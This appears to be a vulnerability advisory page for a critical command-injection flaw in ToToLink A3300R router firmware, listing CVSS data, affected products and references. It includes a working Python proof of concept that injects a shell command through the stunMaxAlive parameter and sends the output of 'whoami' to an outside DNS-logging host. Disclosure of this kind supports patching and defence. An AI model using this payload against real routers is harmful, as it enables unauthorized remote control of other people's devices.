CVE-2026-31178

Description

An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stunMaxAlive parameter to /cgi-bin/cstecgi.cgi.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE

ToToLink A3300R v17.0.0cu.557_B20221024

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"

# Vulnerable parameter: stunMaxAlive
# Injecting a command to ping a controlled domain to verify RCE
payload = "; ping `whoami`.burrto.dnslog.cn"

data = {
    "topicurl": "setStunCfg",
    "stunMaxAlive": payload
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

try:
    # Send POST request
    response = requests.post(url, data=data, headers=headers, timeout=5)
    print(f"[+] Request sent to {url}")
    print(f"[+] Status Code: {response.status_code}")
    print("[+] Check your DNS logs to verify command execution.")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31178
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31178
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31178/
[4] VulDB https://vuldb.com/cve/CVE-2026-31178
[5] https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-stun-max-alive-cmd-injection
[6] https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-stun-max-alive-cmd-injection

Raw JSON Data

JSON

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